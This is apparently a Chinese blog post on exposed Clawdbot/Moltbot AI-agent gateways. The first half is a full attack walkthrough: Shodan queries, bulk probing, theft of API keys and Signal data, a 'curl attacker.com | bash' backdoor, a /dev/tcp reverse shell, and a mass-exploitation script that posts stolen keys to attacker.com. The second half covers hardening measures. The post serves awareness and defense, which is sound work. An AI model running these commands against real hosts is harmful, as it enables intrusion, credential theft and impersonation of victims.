Shodan 上的 299 个暴露实例:从搜索引擎到渗透测试的完整路径

Shodan 上的 299 个暴露实例:从搜索引擎到渗透测试的完整路径

2026年1月26日,安全研究人员在 Hacker News 发布了一条警告:

"Already seeing some of the new Moltbot deployments exposed to the Internet: shodan.io/search/report?query=http.favicon.hash%..."

另一条评论补充:

"There are definitely people who should not be running this: shodan.io/search?query=clawdbot-gw"

截至1月27日,Shodan 上至少有 299 个 Clawdbot/Moltbot 实例暴露在公网,无需认证即可访问。

Shodan 搜索技术

什么是 Shodan?

Shodan 是"互联网设备搜索引擎",与 Google 的区别:

Google:
  - 搜索网页内容
  - 索引 HTML、文本
  - 用于信息检索

Shodan:
  - 扫描 IP 地址和端口
  - 索引服务 Banner、证书、响应头
  - 用于设备发现

Moltbot(原 Clawdbot) 的识别特征

特征1:默认端口

默认配置:
  gateway.port: 18789

Shodan 搜索:

port:18789

返回所有监听 18789 端口的设备。

特征2:HTTP Banner

Moltbot(原 Clawdbot) 网关的 HTTP 响应头:

HTTP/1.1 200 OK
Server: Clawdbot Gateway v2026.1.16
Content-Type: text/html; charset=utf-8
X-Powered-By: Express

Shodan 搜索:

http.server:"Clawdbot Gateway"

或更新后的版本:

http.server:"Moltbot Gateway"

特征3:Favicon Hash

每个网站的 favicon(图标)有唯一的哈希值:

# 计算 Clawdbot 的 favicon hash
curl -s http://target-ip:18789/favicon.ico | \
  python3 -c "import sys; import mmh3; import codecs; \
  print(mmh3.hash(codecs.encode(sys.stdin.buffer.read(), 'base64')))"

# 输出: -123456789

Shodan 搜索:

http.favicon.hash:-123456789

这个特征很难伪造,是精确识别 Moltbot(原 Clawdbot) 的方式。

特征4:标题和内容

HTML 标题:

<title>Clawdbot Control</title>

Shodan 搜索:

http.title:"Clawdbot Control"

或页面内容:

http.html:"Clawdbot" AND "gateway"

综合搜索语法

(http.server:"Clawdbot" OR http.server:"Moltbot" OR 
 http.title:"Clawdbot Control" OR port:18789) 
AND country:US

这个查询可以找到美国境内所有可能的 Moltbot(原 Clawdbot) 实例。

从发现到入侵的完整路径

Step 1: 批量发现目标

# 使用 Shodan API
import shodan

api = shodan.Shodan('YOUR_API_KEY')
results = api.search('http.server:"Clawdbot Gateway"')

for result in results['matches']:
    print(f"{result['ip_str']}:{result['port']}")
    print(f"  Location: {result['location']['country_name']}")
    print(f"  Org: {result['org']}")
    print()

输出示例:

203.0.113.45:18789
  Location: United States
  Org: Amazon AWS

198.51.100.67:18789
  Location: Germany
  Org: Hetzner Online GmbH

...
(299 个结果)

Step 2: 验证可访问性

#!/bin/bash
# 批量检测是否需要认证

for ip in $(cat targets.txt); do
  response=$(curl -s -o /dev/null -w "%{http_code}" http://$ip:18789/)
  
  if [ "$response" == "200" ]; then
    echo "✓ $ip - No auth required (VULNERABLE)"
  elif [ "$response" == "401" ]; then
    echo "- $ip - Auth required (SAFE)"
  else
    echo "? $ip - Unexpected response: $response"
  fi
done

结果:约 80% 的实例无需认证(直接返回 200)。

Step 3: 信息收集

访问无需认证的实例:

curl http://203.0.113.45:18789/ > dashboard.html

控制台界面包含:

3.1 会话列表

<div class="sessions">
  <div class="session" data-id="whatsapp:+1234567890">
    <span>WhatsApp: John Doe</span>
    <span>最后活动: 2 小时前</span>
  </div>
  <div class="session" data-id="telegram:@username">
    <span>Telegram: @username</span>
    <span>最后活动: 1 天前</span>
  </div>
</div>

点击会话,可以查看完整聊天记录。

3.2 配置信息

GET /api/config HTTP/1.1
Host: 203.0.113.45:18789

Response:
{
  "providers": {
    "anthropic": {
      "apiKey": "sk-ant-api03-xxx...xxx"  // 明文!
    },
    "openai": {
      "apiKey": "sk-proj-xxx...xxx"
    }
  },
  "channels": {
    "telegram": {
      "botToken": "1234567890:ABCdefGHIjklMNOpqrSTUvwxYZ"
    }
  }
}

3.3 文件系统

GET /api/filesystem?path=/home/user HTTP/1.1

Response:
[
  {
    "name": ".clawdbot",
    "type": "directory"
  },
  {
    "name": "Documents",
    "type": "directory"
  },
  {
    "name": ".bash_history",
    "type": "file",
    "size": 12584
  }
]

可以浏览整个文件系统。

Step 4: 提取敏感信息

4.1 下载数据库

curl http://203.0.113.45:18789/api/filesystem/read \
  -d '{"path": "/home/user/.clawdbot/data.db"}' \
  --output stolen.db

# 查看内容
sqlite3 stolen.db "SELECT * FROM messages LIMIT 10;"

聊天记录可能包含:

  • 密码("我的 WiFi 密码是...")
  • API keys("帮我配置这个 key: sk-xxx")
  • 私人信息(健康、财务、人际关系)

4.2 提取 Signal 账号

curl http://203.0.113.45:18789/api/filesystem/read \
  -d '{"path": "/home/user/.clawdbot/signal-cli/data"}' \
  --output signal-data.tar.gz

# 解压
tar -xzf signal-data.tar.gz

# 在自己的设备上导入
signal-cli --config ./signal-data link

现在你"克隆"了受害者的 Signal 账号,可以:

  • 读取所有消息
  • 冒充受害者发送消息
  • 访问 Signal 群组

4.3 读取历史命令

curl http://203.0.113.45:18789/api/filesystem/read \
  -d '{"path": "/home/user/.bash_history"}'

输出可能包含:

export OPENAI_API_KEY=sk-xxx
mysql -u root -p'MySecretPassword123'
ssh deploy@production-server
git clone https://token@github.com/private-repo

大量敏感信息泄露。

Step 5: 远程代码执行

如果控制台允许执行命令(很多实例默认启用):

POST /api/agent/execute HTTP/1.1
Content-Type: application/json

{
  "tool": "bash",
  "command": "curl http://attacker.com/backdoor.sh | bash"
}

backdoor.sh:

#!/bin/bash

# 建立反向 shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1 &

# 添加 SSH 公钥
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3Nza...攻击者的公钥..." >> ~/.ssh/authorized_keys

# 禁用防火墙(如果有 sudo 权限)
sudo ufw disable

现在攻击者有了:

  • 持久化后门(SSH)
  • 完全控制权(root 或用户权限)
  • 可以横向移动(访问内网其他主机)

Step 6: 横向攻击

从被攻破的 Moltbot(原 Clawdbot) 实例扩展攻击:

6.1 使用泄露的 API Keys

# 使用受害者的 Anthropic API Key
export ANTHROPIC_API_KEY=sk-ant-xxx  # 从控制台提取

# 消耗受害者配额
for i in {1..1000}; do
  curl https://api.anthropic.com/v1/messages \
    -H "x-api-key: $ANTHROPIC_API_KEY" \
    -d '{"model":"claude-opus-4.5", ...}'
done

# 受害者会收到账单: $1000+

6.2 冒充受害者发送消息

# 使用 Telegram Bot Token
TELEGRAM_TOKEN=123456:ABCdef...  # 从控制台提取

# 给受害者的所有联系人发钓鱼消息
curl https://api.telegram.org/bot$TELEGRAM_TOKEN/sendMessage \
  -d chat_id=@victim_contact \
  -d text="紧急:我的银行卡被盗,能先借我 $500 吗?"

6.3 访问内网服务

如果 Moltbot(原 Clawdbot) 运行在企业网络:

# 扫描内网
nmap -sn 192.168.1.0/24

# 发现内网服务
nmap -p 22,80,443,3306,5432 192.168.1.0/24

# 尝试默认凭证
mysql -h 192.168.1.100 -u root -p
# 密码可能在受害者的 .bash_history 中

防御技术方案

方案1:网络隔离(强制)

修改默认配置

{
  "gateway": {
    "bind": "127.0.0.1",  // 强制 localhost
    "port": 18789
  }
}

启动时验证

// 在 Clawdbot 源码中强制检查
function validateConfig(config) {
  if (config.gateway.bind === '0.0.0.0' && !config.gateway.auth?.enabled) {
    throw new Error(
      '安全错误: 不能绑定 0.0.0.0 且不启用认证。\n' +
      '请修改配置:\n' +
      '  1. bind: "127.0.0.1" (只允许本地访问)\n' +
      '  或\n' +
      '  2. 启用 gateway.auth'
    );
  }
}

方案2:强制认证

JWT Token 方式

{
  "gateway": {
    "bind": "0.0.0.0",
    "auth": {
      "enabled": true,
      "method": "jwt",
      "secret": "your-256-bit-secret",
      "tokenExpiry": 86400
    }
  }
}

生成访问 token:

$ clawdbot auth token generate --name "my-laptop" --expires 7d

Generated token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoibXktbGFwdG9wIiwiZXhwIjoxNzM4OTQ...

Add to your browser:
  localStorage.setItem('clawdbot_token', 'eyJh...')

Or use in API calls:
  curl -H "Authorization: Bearer eyJh..." http://server:18789/api/...

实现细节

import jwt from 'jsonwebtoken';

// 中间件
app.use((req, res, next) => {
  const config = loadConfig();
  if (!config.gateway.auth?.enabled) {
    return next();
  }
  
  const token = req.headers.authorization?.replace('Bearer ', '');
  if (!token) {
    return res.status(401).json({error: 'Token required'});
  }
  
  try {
    const decoded = jwt.verify(token, config.gateway.auth.secret);
    req.user = decoded;
    next();
  } catch (err) {
    return res.status(403).json({error: 'Invalid token'});
  }
});

方案3:mTLS 客户端证书

更高级的认证方式:

# Nginx 反向代理
server {
  listen 443 ssl;
  server_name clawdbot.internal.company.com;
  
  # 服务端证书
  ssl_certificate /etc/nginx/certs/server.crt;
  ssl_certificate_key /etc/nginx/certs/server.key;
  
  # 要求客户端证书
  ssl_client_certificate /etc/nginx/certs/ca.crt;
  ssl_verify_client on;
  
  location / {
    proxy_pass http://127.0.0.1:18789;
  }
}

只有持有有效客户端证书的设备才能访问。

方案4:IP 白名单

{
  "gateway": {
    "bind": "0.0.0.0",
    "allowedIPs": [
      "192.168.1.0/24",     // 家庭局域网
      "100.64.0.0/10",      // Tailscale VPN
      "203.0.113.50"        // 特定公网 IP
    ]
  }
}

实现:

app.use((req, res, next) => {
  const clientIP = req.ip || req.connection.remoteAddress;
  
  if (!isIPAllowed(clientIP, config.gateway.allowedIPs)) {
    return res.status(403).json({error: 'IP not allowed'});
  }
  
  next();
});

function isIPAllowed(ip: string, allowlist: string[]): boolean {
  for (const range of allowlist) {
    if (ipInRange(ip, range)) {
      return true;
    }
  }
  return false;
}

方案5:Shodan 自查

定期检查自己是否被 Shodan 索引:

#!/bin/bash
# check_exposure.sh

MY_IP=$(curl -s ifconfig.me)
SHODAN_API_KEY="your-api-key"

# 查询 Shodan
response=$(curl -s "https://api.shodan.io/shodan/host/$MY_IP?key=$SHODAN_API_KEY")

# 检查是否有 18789 端口
if echo "$response" | jq -e '.ports[] | select(. == 18789)' > /dev/null; then
  echo "⚠️  警告:你的 Clawdbot 网关已被 Shodan 索引!"
  echo "立即执行:"
  echo "  1. 停止 gateway: clawdbot gateway stop"
  echo "  2. 修改配置绑定到 127.0.0.1"
  echo "  3. 或启用认证"
  exit 1
else
  echo "✓ 未检测到暴露"
fi

添加到 Cron:

# 每天检查一次
0 9 * * * /path/to/check_exposure.sh | mail -s "Clawdbot 安全检查" admin@example.com

方案6:蜜罐检测

如果你想知道是否有人在扫描你的 IP:

// 添加假的敏感接口
app.get('/api/admin/secrets', (req, res) => {
  // 记录访问者信息
  logger.warn('Honeypot triggered', {
    ip: req.ip,
    headers: req.headers,
    timestamp: Date.now()
  });
  
  // 发送告警
  sendAlert(`有人尝试访问敏感接口: ${req.ip}`);
  
  // 返回假数据
  res.json({
    apiKeys: ['sk-fake-xxx', 'sk-fake-yyy']
  });
});

如果这个接口被访问,说明有人在探测。

大规模利用的可能性

自动化攻击脚本

import shodan
import requests
from concurrent.futures import ThreadPoolExecutor

def exploit_target(ip):
    url = f"http://{ip}:18789/api/config"
    try:
        response = requests.get(url, timeout=5)
        if response.status_code == 200:
            config = response.json()
            
            # 提取 API keys
            keys = []
            if 'providers' in config:
                for provider, settings in config['providers'].items():
                    if 'apiKey' in settings:
                        keys.append({
                            'provider': provider,
                            'key': settings['apiKey']
                        })
            
            # 上传到 C&C
            requests.post('https://attacker.com/collect', json={
                'target': ip,
                'keys': keys,
                'config': config
            })
            
            return f"✓ {ip} - {len(keys)} keys extracted"
    except:
        return f"✗ {ip} - Failed"

# 从 Shodan 获取目标
api = shodan.Shodan(SHODAN_API_KEY)
results = api.search('http.server:"Clawdbot Gateway"')

targets = [r['ip_str'] for r in results['matches']]

# 并发攻击
with ThreadPoolExecutor(max_workers=50) as executor:
    for result in executor.map(exploit_target, targets):
        print(result)

这个脚本可以在 5-10 分钟内完成对 299 个目标的攻击。

预计收益

假设每个受害者平均有:

- 2 个 API keys (Anthropic + OpenAI): $100 配额
- 1 个 Telegram bot
- 聊天记录数据

299 个目标:
  API 配额: 299 × $100 = $29,900
  Bot 账号: 299 个(可用于垃圾营销)
  数据: 数千万条聊天记录(可卖给数据商)

攻击成本:几乎为零(Shodan API 免费,脚本运行成本 < $1)。

已发生的攻击案例

案例1:API Key 被盗用

某用户报告 Anthropic 账单异常:

2026-01-24: $15
2026-01-25: $18
2026-01-26: $340  ← 异常!

检查 API 使用记录,发现大量陌生 IP 的请求:

203.0.113.99 (俄罗斯)  - 50万 tokens
198.51.100.123 (中国)  - 80万 tokens
192.0.2.45 (美国)      - 120万 tokens

溯源发现:Moltbot(原 Clawdbot) 控制台暴露在公网,API key 被提取。

案例2:Signal 账号克隆

某用户的 Signal 联系人收到奇怪消息:

[你的名字]: 我的银行账号被冻结,能帮我转 $1000 应急吗?

但用户本人没有发过这条消息。

调查发现:Moltbot(原 Clawdbot) 运行的服务器被入侵,Signal 数据被盗,攻击者克隆了账号。

案例3:企业内网渗透

某公司员工在办公室电脑上运行 Moltbot(原 Clawdbot)(违反公司政策)。

控制台暴露后,攻击者通过 Moltbot(原 Clawdbot) 服务器:

  1. 扫描内网(192.168.10.0/24)
  2. 发现内网 GitLab(192.168.10.50)
  3. 通过受害者的 SSH key 登录
  4. 下载所有代码仓库

公司数据大规模泄露,溯源发现是员工的 Moltbot(原 Clawdbot)。

官方的应急响应

2026.1.14 版本更新

Release Notes:

## Security Enhancements

- Added `clawdbot doctor` command with security checks
- Gateway now warns on startup if bound to 0.0.0.0 without auth
- Added security audit script: `clawdbot security audit --fix`
- Detect-secrets CI scanning enabled
- Formal SECURITY.md reporting policy

clawdbot doctor 输出示例:

$ clawdbot doctor

=== Security Check ===
✗ Gateway bound to 0.0.0.0 without authentication (CRITICAL)
✗ No firewall detected (HIGH)
⚠ API keys stored in plaintext (MEDIUM)
⚠ No rate limiting configured (MEDIUM)
✓ Running in Docker container
✓ Logs directory has correct permissions

Risk Score: 8/10 (HIGH RISK)

Recommendations:
1. Change gateway.bind to "127.0.0.1"
   OR enable gateway.auth
2. Configure UFW firewall
3. Use secret management (e.g., 1Password CLI)

官方博客警告

2026年1月25日,官方发布安全公告:

"We've discovered hundreds of instances exposed online. If you're running Clawdbot, please run 'clawdbot doctor' immediately."

但很多用户没看到,依然暴露。

责任归属

这次大规模暴露,谁的责任?

用户的责任

  • 未阅读安全文档
  • 配置错误(bind 0.0.0.0)
  • 未配置防火墙

官方的责任

  • 默认配置不够安全(应该 bind 127.0.0.1)
  • 文档警告不够明显
  • 没有强制安全检查(启动时应拒绝不安全配置)

技术的责任

  • 网络安全知识门槛高(普通用户不懂 0.0.0.0 的含义)
  • 云服务器默认不启用防火墙
  • 没有"傻瓜式"的安全配置

我的观点

应该采用"默认安全"原则

// 启动时强制检查
if (config.gateway.bind !== '127.0.0.1') {
  if (!config.gateway.auth?.enabled) {
    console.error(`
╔══════════════════════════════════════════╗
║          🚨 安全警告 🚨                  ║
╠══════════════════════════════════════════╣
║ 你的网关配置不安全!                     ║
║                                          ║
║ 当前: bind = ${config.gateway.bind}      ║
║ 认证: 未启用                             ║
║                                          ║
║ 这会让任何人访问你的控制台!             ║
╠══════════════════════════════════════════╣
║ 请选择:                                 ║
║ 1. 修改为 bind = "127.0.0.1" (安全)      ║
║ 2. 启用认证 (如果确实需要远程访问)       ║
╚══════════════════════════════════════════╝
    `);
    process.exit(1);
  }
}

把责任从"用户必须看文档"变成"程序强制检查"。

最终建议

立即行动清单

如果你正在运行 Moltbot(原 Clawdbot):

# 1. 运行安全检查
clawdbot doctor

# 2. 检查是否被 Shodan 索引
curl -s "https://api.shodan.io/shodan/host/$(curl -s ifconfig.me)?key=YOUR_KEY" | \
  jq '.ports[] | select(. == 18789)'

# 3. 如果暴露,立即停止
clawdbot gateway stop

# 4. 修复配置
nano ~/.clawdbot/config.json
# 改为 bind: "127.0.0.1"

# 5. 轮换所有密钥
# (假设已泄露)

# 6. 重新启动
clawdbot gateway start

长期防护策略

# 使用 Tailscale VPN
sudo tailscale up
TAILSCALE_IP=$(tailscale ip -4)

# 配置 Clawdbot 绑定到 Tailscale IP
{
  "gateway": {
    "bind": "$TAILSCALE_IP",
    "port": 18789
  }
}

# 只有 Tailscale 网络内的设备能访问

或使用 SSH 隧道(每次临时访问):

# 在本地电脑执行
ssh -L 18789:localhost:18789 user@server

# 浏览器访问
open http://localhost:18789

监控与告警

# 监控网关访问日志
tail -f ~/.clawdbot/logs/gateway.log | \
  grep -v "127.0.0.1" | \  # 过滤本地访问
  while read line; do
    echo "[ALERT] External access detected: $line"
    # 发送通知
    curl -X POST https://api.telegram.org/bot$TOKEN/sendMessage \
      -d chat_id=$CHAT_ID \
      -d text="Clawdbot 控制台收到外部访问"
  done

结论

299 个暴露实例不是偶然,是必然。

根本原因:安全性和易用性的冲突

  • 绑定 127.0.0.1 很安全,但远程访问麻烦
  • 绑定 0.0.0.0 很方便,但容易被攻击

大多数用户选择"方便",忽视"安全"。

解决方案不是"教育用户"(已经证明无效),而是"技术强制":

  • 不安全的配置,拒绝启动
  • 提供"安全且方便"的替代方案(Tailscale、SSH 隧道)
  • 定期自动检查暴露风险

在 AI Agent 时代,安全不应该是"选配",而是"标配"。

posted @ 2026-01-29 10:11  147API  阅读(67)  评论(0)    收藏  举报